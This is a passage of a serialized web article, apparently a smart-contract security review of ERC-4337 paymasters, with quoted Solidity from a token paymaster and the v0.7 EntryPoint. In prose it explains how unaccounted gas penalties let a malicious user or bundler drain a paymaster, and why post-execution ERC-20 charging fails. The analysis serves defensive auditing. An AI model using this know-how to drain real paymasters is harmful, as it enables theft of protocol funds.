",{"type":26,"tag":217,"props":60652,"children":60653},{"style":7149},[60654],{"type":32,"value":5903},{"type":26,"tag":217,"props":60656,"children":60657},{"style":7048},[60658],{"type":32,"value":60659}," actualTokenNeeded) {\n",{"type":26,"tag":217,"props":60661,"children":60662},{"class":7028,"line":13956},[60663],{"type":26,"tag":217,"props":60664,"children":60665},{"style":7033},[60666],{"type":32,"value":60667},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":26,"tag":217,"props":60669,"children":60670},{"class":7028,"line":13964},[60671,60676,60681,60686,60690],{"type":26,"tag":217,"props":60672,"children":60673},{"style":7048},[60674],{"type":32,"value":60675},"                SafeERC20.",{"type":26,"tag":217,"props":60677,"children":60678},{"style":7064},[60679],{"type":32,"value":60680},"safeTransfer",{"type":26,"tag":217,"props":60682,"children":60683},{"style":7048},[60684],{"type":32,"value":60685},"(token, userOpSender, preCharge ",{"type":26,"tag":217,"props":60687,"children":60688},{"style":7149},[60689],{"type":32,"value":18420},{"type":26,"tag":217,"props":60691,"children":60692},{"style":7048},[60693],{"type":32,"value":60694}," actualTokenNeeded);\n",{"type":26,"tag":217,"props":60696,"children":60697},{"class":7028,"line":14021},[60698,60703,60707,60712,60716,60720],{"type":26,"tag":217,"props":60699,"children":60700},{"style":7048},[60701],{"type":32,"value":60702},"            } ",{"type":26,"tag":217,"props":60704,"children":60705},{"style":7042},[60706],{"type":32,"value":40852},{"type":26,"tag":217,"props":60708,"children":60709},{"style":7042},[60710],{"type":32,"value":60711}," if",{"type":26,"tag":217,"props":60713,"children":60714},{"style":7048},[60715],{"type":32,"value":60650},{"type":26,"tag":217,"props":60717,"children":60718},{"style":7149},[60719],{"type":32,"value":7289},{"type":26,"tag":217,"props":60721,"children":60722},{"style":7048},[60723],{"type":32,"value":60659},{"type":26,"tag":217,"props":60725,"children":60726},{"class":7028,"line":14034},[60727],{"type":26,"tag":217,"props":60728,"children":60729},{"style":7033},[60730],{"type":32,"value":60731},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":26,"tag":217,"props":60733,"children":60734},{"class":7028,"line":14043},[60735],{"type":26,"tag":217,"props":60736,"children":60737},{"style":7033},[60738],{"type":32,"value":60739},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":26,"tag":217,"props":60741,"children":60742},{"class":7028,"line":14051},[60743,60747,60751,60756,60760,60764,60768,60773,60777],{"type":26,"tag":217,"props":60744,"children":60745},{"style":7048},[60746],{"type":32,"value":60675},{"type":26,"tag":217,"props":60748,"children":60749},{"style":7064},[60750],{"type":32,"value":60125},{"type":26,"tag":217,"props":60752,"children":60753},{"style":7048},[60754],{"type":32,"value":60755},"(token, userOpSender, ",{"type":26,"tag":217,"props":60757,"children":60758},{"style":7119},[60759],{"type":32,"value":60135},{"type":26,"tag":217,"props":60761,"children":60762},{"style":7048},[60763],{"type":32,"value":1851},{"type":26,"tag":217,"props":60765,"children":60766},{"style":7154},[60767],{"type":32,"value":17968},{"type":26,"tag":217,"props":60769,"children":60770},{"style":7048},[60771],{"type":32,"value":60772},"), actualTokenNeeded ",{"type":26,"tag":217,"props":60774,"children":60775},{"style":7149},[60776],{"type":32,"value":18420},{"type":26,"tag":217,"props":60778,"children":60779},{"style":7048},[60780],{"type":32,"value":60781}," preCharge);\n",{"type":26,"tag":217,"props":60783,"children":60784},{"class":7028,"line":14114},[60785],{"type":26,"tag":217,"props":60786,"children":60787},{"style":7048},[60788],{"type":32,"value":36205},{"type":26,"tag":217,"props":60790,"children":60791},{"class":7028,"line":14127},[60792],{"type":26,"tag":217,"props":60793,"children":60794},{"emptyLinePlaceholder":17},[60795],{"type":32,"value":7817},{"type":26,"tag":217,"props":60797,"children":60798},{"class":7028,"line":34203},[60799,60803,60808,60812,60816],{"type":26,"tag":217,"props":60800,"children":60801},{"style":7042},[60802],{"type":32,"value":59922},{"type":26,"tag":217,"props":60804,"children":60805},{"style":7048},[60806],{"type":32,"value":60807}," (baseFee ",{"type":26,"tag":217,"props":60809,"children":60810},{"style":7149},[60811],{"type":32,"value":5903},{"type":26,"tag":217,"props":60813,"children":60814},{"style":7130},[60815],{"type":32,"value":9922},{"type":26,"tag":217,"props":60817,"children":60818},{"style":7048},[60819],{"type":32,"value":7618},{"type":26,"tag":217,"props":60821,"children":60822},{"class":7028,"line":34212},[60823,60827,60831],{"type":26,"tag":217,"props":60824,"children":60825},{"style":7048},[60826],{"type":32,"value":60675},{"type":26,"tag":217,"props":60828,"children":60829},{"style":7064},[60830],{"type":32,"value":60680},{"type":26,"tag":217,"props":60832,"children":60833},{"style":7048},[60834],{"type":32,"value":60835},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":26,"tag":217,"props":60837,"children":60838},{"class":7028,"line":34221},[60839],{"type":26,"tag":217,"props":60840,"children":60841},{"style":7048},[60842],{"type":32,"value":36205},{"type":26,"tag":217,"props":60844,"children":60845},{"class":7028,"line":34229},[60846],{"type":26,"tag":217,"props":60847,"children":60848},{"emptyLinePlaceholder":17},[60849],{"type":32,"value":7817},{"type":26,"tag":217,"props":60851,"children":60852},{"class":7028,"line":34238},[60853,60858,60863],{"type":26,"tag":217,"props":60854,"children":60855},{"style":7042},[60856],{"type":32,"value":60857},"            emit",{"type":26,"tag":217,"props":60859,"children":60860},{"style":7064},[60861],{"type":32,"value":60862}," UserOperationSponsored",{"type":26,"tag":217,"props":60864,"children":60865},{"style":7048},[60866],{"type":32,"value":60867},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":26,"tag":217,"props":60869,"children":60870},{"class":7028,"line":34246},[60871,60876],{"type":26,"tag":217,"props":60872,"children":60873},{"style":7064},[60874],{"type":32,"value":60875},"            refillEntryPointDeposit",{"type":26,"tag":217,"props":60877,"children":60878},{"style":7048},[60879],{"type":32,"value":60880},"(_cachedPrice);\n",{"type":26,"tag":217,"props":60882,"children":60883},{"class":7028,"line":34254},[60884],{"type":26,"tag":217,"props":60885,"children":60886},{"style":7048},[60887],{"type":32,"value":8722},{"type":26,"tag":217,"props":60889,"children":60890},{"class":7028,"line":34263},[60891],{"type":26,"tag":217,"props":60892,"children":60893},{"style":7048},[60894],{"type":32,"value":9754},{"type":26,"tag":217,"props":60896,"children":60897},{"class":7028,"line":34272},[60898],{"type":26,"tag":217,"props":60899,"children":60900},{"style":7048},[60901],{"type":32,"value":7184},{"type":26,"tag":39,"props":60903,"children":60904},{},[60905,60907,60913,60915,60920,60922,60928],{"type":32,"value":60906},"Looking at the code above, during ",{"type":26,"tag":83,"props":60908,"children":60910},{"className":60909},[],[60911],{"type":32,"value":60912},"validatePaymasterUserOp",{"type":32,"value":60914},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":26,"tag":83,"props":60916,"children":60918},{"className":60917},[],[60919],{"type":32,"value":58958},{"type":32,"value":60921}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":26,"tag":83,"props":60923,"children":60925},{"className":60924},[],[60926],{"type":32,"value":60927},"postOp",{"type":32,"value":60929},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":26,"tag":39,"props":60931,"children":60932},{},[60933,60935,60940,60942,60949],{"type":32,"value":60934},"However, there is a critical oversight: ",{"type":26,"tag":9348,"props":60936,"children":60937},{},[60938],{"type":32,"value":60939},"the code does not account for gas penalties",{"type":32,"value":60941},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":26,"tag":163,"props":60943,"children":60946},{"href":60944,"rel":60945},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[167],[60947],{"type":32,"value":60948},"penalties incurred",{"type":32,"value":60950}," from differences between the execution gas limit and actual execution gas.",{"type":26,"tag":39,"props":60952,"children":60953},{},[60954],{"type":32,"value":60955},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":26,"tag":39,"props":60957,"children":60958},{},[60959,60961,60966],{"type":32,"value":60960},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":26,"tag":83,"props":60962,"children":60964},{"className":60963},[],[60965],{"type":32,"value":58657},{"type":32,"value":60967}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":26,"tag":27,"props":60969,"children":60971},{"id":60970},"incorrect-erc-20-handling",[60972],{"type":26,"tag":9348,"props":60973,"children":60974},{},[60975],{"type":32,"value":60976},"Incorrect ERC-20 Handling",{"type":26,"tag":39,"props":60978,"children":60979},{},[60980],{"type":32,"value":60981},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":26,"tag":39,"props":60983,"children":60984},{},[60985,60987,60992,60994,60999],{"type":32,"value":60986},"Looking at the ",{"type":26,"tag":83,"props":60988,"children":60990},{"className":60989},[],[60991],{"type":32,"value":58738},{"type":32,"value":60993}," flow above, we can see that paymasters have two key interaction points during a ",{"type":26,"tag":83,"props":60995,"children":60997},{"className":60996},[],[60998],{"type":32,"value":58657},{"type":32,"value":61000},"'s lifecycle:",{"type":26,"tag":6712,"props":61002,"children":61003},{},[61004,61014],{"type":26,"tag":2044,"props":61005,"children":61006},{},[61007,61009],{"type":32,"value":61008},"During validation via ",{"type":26,"tag":83,"props":61010,"children":61012},{"className":61011},[],[61013],{"type":32,"value":58844},{"type":26,"tag":2044,"props":61015,"children":61016},{},[61017,61019],{"type":32,"value":61018},"After execution via ",{"type":26,"tag":83,"props":61020,"children":61022},{"className":61021},[],[61023],{"type":32,"value":58855},{"type":26,"tag":39,"props":61025,"children":61026},{},[61027],{"type":32,"value":61028},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":26,"tag":607,"props":61030,"children":61032},{"id":61031},"_1-pre-payment-with-refund-pattern",[61033],{"type":32,"value":61034},"1. Pre-Payment with Refund Pattern",{"type":26,"tag":39,"props":61036,"children":61037},{},[61038,61040,61045,61047,61052,61054,61060,61061,61067,61069,61074,61076,61080,61082,61087],{"type":32,"value":61039},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":26,"tag":83,"props":61041,"children":61043},{"className":61042},[],[61044],{"type":32,"value":58844},{"type":32,"value":61046},". After execution completes, ",{"type":26,"tag":83,"props":61048,"children":61050},{"className":61049},[],[61051],{"type":32,"value":58855},{"type":32,"value":61053}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":26,"tag":83,"props":61055,"children":61057},{"className":61056},[],[61058],{"type":32,"value":61059},"SEND",{"type":32,"value":1308},{"type":26,"tag":83,"props":61062,"children":61064},{"className":61063},[],[61065],{"type":32,"value":61066},"Circle",{"type":32,"value":61068}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":26,"tag":83,"props":61070,"children":61072},{"className":61071},[],[61073],{"type":32,"value":58686},{"type":32,"value":61075},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":26,"tag":9348,"props":61077,"children":61078},{},[61079],{"type":32,"value":21294},{"type":32,"value":61081}," execution (specifically during ",{"type":26,"tag":83,"props":61083,"children":61085},{"className":61084},[],[61086],{"type":32,"value":60912},{"type":32,"value":8256},{"type":26,"tag":607,"props":61089,"children":61091},{"id":61090},"_2-post-execution-charging-pattern",[61092],{"type":32,"value":61093},"2. Post-Execution Charging Pattern",{"type":26,"tag":39,"props":61095,"children":61096},{},[61097,61099,61104,61106,61111,61113,61118,61120,61125],{"type":32,"value":61098},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":26,"tag":83,"props":61100,"children":61102},{"className":61101},[],[61103],{"type":32,"value":58844},{"type":32,"value":61105},", the actual token payment is calculated and collected in ",{"type":26,"tag":83,"props":61107,"children":61109},{"className":61108},[],[61110],{"type":32,"value":58855},{"type":32,"value":61112}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":26,"tag":83,"props":61114,"children":61116},{"className":61115},[],[61117],{"type":32,"value":58657},{"type":32,"value":61119},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":26,"tag":83,"props":61121,"children":61123},{"className":61122},[],[61124],{"type":32,"value":58958},{"type":32,"value":61126},". This means users could interact with the paymaster without any prior setup.",{"type":26,"tag":39,"props":61128,"children":61129},{},[61130,61132,61137,61139,61145,61147,61153,61155,61160],{"type":32,"value":61131},"This approach used to work in ",{"type":26,"tag":83,"props":61133,"children":61135},{"className":61134},[],[61136],{"type":32,"value":58738},{"type":32,"value":61138}," version ",{"type":26,"tag":83,"props":61140,"children":61142},{"className":61141},[],[61143],{"type":32,"value":61144},"v0.6",{"type":32,"value":61146},", but the pattern no longer works in ",{"type":26,"tag":83,"props":61148,"children":61150},{"className":61149},[],[61151],{"type":32,"value":61152},"v0.7",{"type":32,"value":61154},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":26,"tag":83,"props":61156,"children":61158},{"className":61157},[],[61159],{"type":32,"value":61152},{"type":32,"value":61161}," handles the execution phase:",{"type":26,"tag":207,"props":61163,"children":61165},{"className":59407,"code":61164,"language":59409,"meta":8,"style":8},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[61166],{"type":26,"tag":83,"props":61167,"children":61168},{"__ignoreMap":8},[61169,61185,61202,61222,61239,61247,61260,61285,61292,61305,61313,61320,61341,61380,61417,61429,61437,61473,61480,61501,61591,61620,61627,61640,61647,61667,61674,61695,61703,61711,61738,61766,61774,61818,61838,61851,61873,61889,61904,61911,61931,61939,61947,61955,61963,61971,61978,61985],{"type":26,"tag":217,"props":61170,"children":61171},{"class":7028,"line":7029},[61172,61176,61181],{"type":26,"tag":217,"props":61173,"children":61174},{"style":7154},[61175],{"type":32,"value":59474},{"type":26,"tag":217,"props":61177,"children":61178},{"style":7064},[61179],{"type":32,"value":61180}," _executeUserOp",{"type":26,"tag":217,"props":61182,"children":61183},{"style":7048},[61184],{"type":32,"value":10932},{"type":26,"tag":217,"props":61186,"children":61187},{"class":7028,"line":6770},[61188,61193,61198],{"type":26,"tag":217,"props":61189,"children":61190},{"style":7119},[61191],{"type":32,"value":61192},"        uint256",{"type":26,"tag":217,"props":61194,"children":61195},{"style":7054},[61196],{"type":32,"value":61197}," opIndex",{"type":26,"tag":217,"props":61199,"children":61200},{"style":7048},[61201],{"type":32,"value":10953},{"type":26,"tag":217,"props":61203,"children":61204},{"class":7028,"line":6779},[61205,61210,61214,61218],{"type":26,"tag":217,"props":61206,"children":61207},{"style":7154},[61208],{"type":32,"value":61209},"        PackedUserOperation",{"type":26,"tag":217,"props":61211,"children":61212},{"style":7154},[61213],{"type":32,"value":59493},{"type":26,"tag":217,"props":61215,"children":61216},{"style":7054},[61217],{"type":32,"value":59498},{"type":26,"tag":217,"props":61219,"children":61220},{"style":7048},[61221],{"type":32,"value":10953},{"type":26,"tag":217,"props":61223,"children":61224},{"class":7028,"line":7140},[61225,61230,61234],{"type":26,"tag":217,"props":61226,"children":61227},{"style":7154},[61228],{"type":32,"value":61229},"        UserOpInfo",{"type":26,"tag":217,"props":61231,"children":61232},{"style":7154},[61233],{"type":32,"value":59563},{"type":26,"tag":217,"props":61235,"children":61236},{"style":7054},[61237],{"type":32,"value":61238}," opInfo\n",{"type":26,"tag":217,"props":61240,"children":61241},{"class":7028,"line":7165},[61242],{"type":26,"tag":217,"props":61243,"children":61244},{"style":7048},[61245],{"type":32,"value":61246},"    )\n",{"type":26,"tag":217,"props":61248,"children":61249},{"class":7028,"line":7178},[61250,61255],{"type":26,"tag":217,"props":61251,"children":61252},{"style":7154},[61253],{"type":32,"value":61254},"    internal",{"type":26,"tag":217,"props":61256,"children":61257},{"style":7154},[61258],{"type":32,"value":61259}," virtual\n",{"type":26,"tag":217,"props":61261,"children":61262},{"class":7028,"line":7389},[61263,61268,61272,61276,61281],{"type":26,"tag":217,"props":61264,"children":61265},{"style":7042},[61266],{"type":32,"value":61267},"    returns",{"type":26,"tag":217,"props":61269,"children":61270},{"style":7048},[61271],{"type":32,"value":7051},{"type":26,"tag":217,"props":61273,"children":61274},{"style":7119},[61275],{"type":32,"value":59516},{"type":26,"tag":217,"props":61277,"children":61278},{"style":7054},[61279],{"type":32,"value":61280}," collected",{"type":26,"tag":217,"props":61282,"children":61283},{"style":7048},[61284],{"type":32,"value":7618},{"type":26,"tag":217,"props":61286,"children":61287},{"class":7028,"line":7406},[61288],{"type":26,"tag":217,"props":61289,"children":61290},{"style":7048},[61291],{"type":32,"value":34647},{"type":26,"tag":217,"props":61293,"children":61294},{"class":7028,"line":7439},[61295,61300],{"type":26,"tag":217,"props":61296,"children":61297},{"style":7119},[61298],{"type":32,"value":61299},"        bool",{"type":26,"tag":217,"props":61301,"children":61302},{"style":7048},[61303],{"type":32,"value":61304}," success;\n",{"type":26,"tag":217,"props":61306,"children":61307},{"class":7028,"line":7487},[61308],{"type":26,"tag":217,"props":61309,"children":61310},{"style":7048},[61311],{"type":32,"value":61312},"        {\n",{"type":26,"tag":217,"props":61314,"children":61315},{"class":7028,"line":7524},[61316],{"type":26,"tag":217,"props":61317,"children":61318},{"style":7048},[61319],{"type":32,"value":34647},{"type":26,"tag":217,"props":61321,"children":61322},{"class":7028,"line":7553},[61323,61327,61332,61336],{"type":26,"tag":217,"props":61324,"children":61325},{"style":7042},[61326],{"type":32,"value":59922},{"type":26,"tag":217,"props":61328,"children":61329},{"style":7048},[61330],{"type":32,"value":61331}," (methodSig ",{"type":26,"tag":217,"props":61333,"children":61334},{"style":7149},[61335],{"type":32,"value":9106},{"type":26,"tag":217,"props":61337,"children":61338},{"style":7048},[61339],{"type":32,"value":61340}," IAccountExecute.executeUserOp.selector) {\n",{"type":26,"tag":217,"props":61342,"children":61343},{"class":7028,"line":7570},[61344,61349,61353,61358,61362,61366,61370,61375],{"type":26,"tag":217,"props":61345,"children":61346},{"style":7119},[61347],{"type":32,"value":61348},"                bytes",{"type":26,"tag":217,"props":61350,"children":61351},{"style":7154},[61352],{"type":32,"value":59563},{"type":26,"tag":217,"props":61354,"children":61355},{"style":7048},[61356],{"type":32,"value":61357}," executeUserOp ",{"type":26,"tag":217,"props":61359,"children":61360},{"style":7149},[61361],{"type":32,"value":267},{"type":26,"tag":217,"props":61363,"children":61364},{"style":7154},[61365],{"type":32,"value":60165},{"type":26,"tag":217,"props":61367,"children":61368},{"style":7048},[61369],{"type":32,"value":180},{"type":26,"tag":217,"props":61371,"children":61372},{"style":7064},[61373],{"type":32,"value":61374},"encodeCall",{"type":26,"tag":217,"props":61376,"children":61377},{"style":7048},[61378],{"type":32,"value":61379},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":26,"tag":217,"props":61381,"children":61382},{"class":7028,"line":7621},[61383,61388,61392,61396,61400,61404,61408,61412],{"type":26,"tag":217,"props":61384,"children":61385},{"style":7048},[61386],{"type":32,"value":61387},"                innerCall ",{"type":26,"tag":217,"props":61389,"children":61390},{"style":7149},[61391],{"type":32,"value":267},{"type":26,"tag":217,"props":61393,"children":61394},{"style":7154},[61395],{"type":32,"value":60165},{"type":26,"tag":217,"props":61397,"children":61398},{"style":7048},[61399],{"type":32,"value":180},{"type":26,"tag":217,"props":61401,"children":61402},{"style":7064},[61403],{"type":32,"value":61374},{"type":26,"tag":217,"props":61405,"children":61406},{"style":7048},[61407],{"type":32,"value":1851},{"type":26,"tag":217,"props":61409,"children":61410},{"style":7154},[61411],{"type":32,"value":17968},{"type":26,"tag":217,"props":61413,"children":61414},{"style":7048},[61415],{"type":32,"value":61416},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":26,"tag":217,"props":61418,"children":61419},{"class":7028,"line":7672},[61420,61424],{"type":26,"tag":217,"props":61421,"children":61422},{"style":7048},[61423],{"type":32,"value":60702},{"type":26,"tag":217,"props":61425,"children":61426},{"style":7042},[61427],{"type":32,"value":61428},"else\n",{"type":26,"tag":217,"props":61430,"children":61431},{"class":7028,"line":7681},[61432],{"type":26,"tag":217,"props":61433,"children":61434},{"style":7048},[61435],{"type":32,"value":61436},"            {\n",{"type":26,"tag":217,"props":61438,"children":61439},{"class":7028,"line":7754},[61440,61444,61448,61452,61456,61460,61464,61468],{"type":26,"tag":217,"props":61441,"children":61442},{"style":7048},[61443],{"type":32,"value":61387},{"type":26,"tag":217,"props":61445,"children":61446},{"style":7149},[61447],{"type":32,"value":267},{"type":26,"tag":217,"props":61449,"children":61450},{"style":7154},[61451],{"type":32,"value":60165},{"type":26,"tag":217,"props":61453,"children":61454},{"style":7048},[61455],{"type":32,"value":180},{"type":26,"tag":217,"props":61457,"children":61458},{"style":7064},[61459],{"type":32,"value":61374},{"type":26,"tag":217,"props":61461,"children":61462},{"style":7048},[61463],{"type":32,"value":1851},{"type":26,"tag":217,"props":61465,"children":61466},{"style":7154},[61467],{"type":32,"value":17968},{"type":26,"tag":217,"props":61469,"children":61470},{"style":7048},[61471],{"type":32,"value":61472},".innerHandleOp, (callData, opInfo, context));\n",{"type":26,"tag":217,"props":61474,"children":61475},{"class":7028,"line":7784},[61476],{"type":26,"tag":217,"props":61477,"children":61478},{"style":7048},[61479],{"type":32,"value":36205},{"type":26,"tag":217,"props":61481,"children":61482},{"class":7028,"line":7802},[61483,61488,61492,61497],{"type":26,"tag":217,"props":61484,"children":61485},{"style":7064},[61486],{"type":32,"value":61487},"            assembly",{"type":26,"tag":217,"props":61489,"children":61490},{"style":7048},[61491],{"type":32,"value":7051},{"type":26,"tag":217,"props":61493,"children":61494},{"style":7338},[61495],{"type":32,"value":61496},"\"memory-safe\"",{"type":26,"tag":217,"props":61498,"children":61499},{"style":7048},[61500],{"type":32,"value":7618},{"type":26,"tag":217,"props":61502,"children":61503},{"class":7028,"line":7811},[61504,61509,61513,61518,61522,61527,61531,61535,61539,61543,61547,61552,61557,61561,61565,61570,61575,61579,61583,61587],{"type":26,"tag":217,"props":61505,"children":61506},{"style":7048},[61507],{"type":32,"value":61508},"                success ",{"type":26,"tag":217,"props":61510,"children":61511},{"style":7149},[61512],{"type":32,"value":3009},{"type":26,"tag":217,"props":61514,"children":61515},{"style":7064},[61516],{"type":32,"value":61517}," call",{"type":26,"tag":217,"props":61519,"children":61520},{"style":7048},[61521],{"type":32,"value":1851},{"type":26,"tag":217,"props":61523,"children":61524},{"style":7064},[61525],{"type":32,"value":61526},"gas",{"type":26,"tag":217,"props":61528,"children":61529},{"style":7048},[61530],{"type":32,"value":59809},{"type":26,"tag":217,"props":61532,"children":61533},{"style":7119},[61534],{"type":32,"value":60135},{"type":26,"tag":217,"props":61536,"children":61537},{"style":7048},[61538],{"type":32,"value":59809},{"type":26,"tag":217,"props":61540,"children":61541},{"style":7130},[61542],{"type":32,"value":1883},{"type":26,"tag":217,"props":61544,"children":61545},{"style":7048},[61546],{"type":32,"value":7599},{"type":26,"tag":217,"props":61548,"children":61549},{"style":7064},[61550],{"type":32,"value":61551},"add",{"type":26,"tag":217,"props":61553,"children":61554},{"style":7048},[61555],{"type":32,"value":61556},"(innerCall, ",{"type":26,"tag":217,"props":61558,"children":61559},{"style":7130},[61560],{"type":32,"value":39662},{"type":26,"tag":217,"props":61562,"children":61563},{"style":7048},[61564],{"type":32,"value":5407},{"type":26,"tag":217,"props":61566,"children":61567},{"style":7064},[61568],{"type":32,"value":61569},"mload",{"type":26,"tag":217,"props":61571,"children":61572},{"style":7048},[61573],{"type":32,"value":61574},"(innerCall), ",{"type":26,"tag":217,"props":61576,"children":61577},{"style":7130},[61578],{"type":32,"value":1883},{"type":26,"tag":217,"props":61580,"children":61581},{"style":7048},[61582],{"type":32,"value":7599},{"type":26,"tag":217,"props":61584,"children":61585},{"style":7130},[61586],{"type":32,"value":31430},{"type":26,"tag":217,"props":61588,"children":61589},{"style":7048},[61590],{"type":32,"value":10025},{"type":26,"tag":217,"props":61592,"children":61593},{"class":7028,"line":7820},[61594,61599,61603,61608,61612,61616],{"type":26,"tag":217,"props":61595,"children":61596},{"style":7048},[61597],{"type":32,"value":61598},"                collected ",{"type":26,"tag":217,"props":61600,"children":61601},{"style":7149},[61602],{"type":32,"value":3009},{"type":26,"tag":217,"props":61604,"children":61605},{"style":7064},[61606],{"type":32,"value":61607}," mload",{"type":26,"tag":217,"props":61609,"children":61610},{"style":7048},[61611],{"type":32,"value":1851},{"type":26,"tag":217,"props":61613,"children":61614},{"style":7130},[61615],{"type":32,"value":1883},{"type":26,"tag":217,"props":61617,"children":61618},{"style":7048},[61619],{"type":32,"value":10025},{"type":26,"tag":217,"props":61621,"children":61622},{"class":7028,"line":7844},[61623],{"type":26,"tag":217,"props":61624,"children":61625},{"style":7048},[61626],{"type":32,"value":36205},{"type":26,"tag":217,"props":61628,"children":61629},{"class":7028,"line":7910},[61630,61635],{"type":26,"tag":217,"props":61631,"children":61632},{"style":7064},[61633],{"type":32,"value":61634},"            _restoreFreePtr",{"type":26,"tag":217,"props":61636,"children":61637},{"style":7048},[61638],{"type":32,"value":61639},"(saveFreePtr);\n",{"type":26,"tag":217,"props":61641,"children":61642},{"class":7028,"line":7954},[61643],{"type":26,"tag":217,"props":61644,"children":61645},{"style":7048},[61646],{"type":32,"value":8722},{"type":26,"tag":217,"props":61648,"children":61649},{"class":7028,"line":7985},[61650,61654,61658,61662],{"type":26,"tag":217,"props":61651,"children":61652},{"style":7042},[61653],{"type":32,"value":12497},{"type":26,"tag":217,"props":61655,"children":61656},{"style":7048},[61657],{"type":32,"value":7051},{"type":26,"tag":217,"props":61659,"children":61660},{"style":7149},[61661],{"type":32,"value":11704},{"type":26,"tag":217,"props":61663,"children":61664},{"style":7048},[61665],{"type":32,"value":61666},"success) {\n",{"type":26,"tag":217,"props":61668,"children":61669},{"class":7028,"line":8027},[61670],{"type":26,"tag":217,"props":61671,"children":61672},{"style":7048},[61673],{"type":32,"value":34647},{"type":26,"tag":217,"props":61675,"children":61676},{"class":7028,"line":8035},[61677,61681,61686,61690],{"type":26,"tag":217,"props":61678,"children":61679},{"style":7042},[61680],{"type":32,"value":59922},{"type":26,"tag":217,"props":61682,"children":61683},{"style":7048},[61684],{"type":32,"value":61685}," (innerRevertCode ",{"type":26,"tag":217,"props":61687,"children":61688},{"style":7149},[61689],{"type":32,"value":9106},{"type":26,"tag":217,"props":61691,"children":61692},{"style":7048},[61693],{"type":32,"value":61694}," INNER_OUT_OF_GAS) {\n",{"type":26,"tag":217,"props":61696,"children":61697},{"class":7028,"line":8067},[61698],{"type":26,"tag":217,"props":61699,"children":61700},{"style":7033},[61701],{"type":32,"value":61702},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":26,"tag":217,"props":61704,"children":61705},{"class":7028,"line":8107},[61706],{"type":26,"tag":217,"props":61707,"children":61708},{"style":7033},[61709],{"type":32,"value":61710},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":26,"tag":217,"props":61712,"children":61713},{"class":7028,"line":8145},[61714,61719,61724,61729,61734],{"type":26,"tag":217,"props":61715,"children":61716},{"style":7042},[61717],{"type":32,"value":61718},"                revert",{"type":26,"tag":217,"props":61720,"children":61721},{"style":7064},[61722],{"type":32,"value":61723}," FailedOp",{"type":26,"tag":217,"props":61725,"children":61726},{"style":7048},[61727],{"type":32,"value":61728},"(opIndex, ",{"type":26,"tag":217,"props":61730,"children":61731},{"style":7338},[61732],{"type":32,"value":61733},"\"AA95 out of 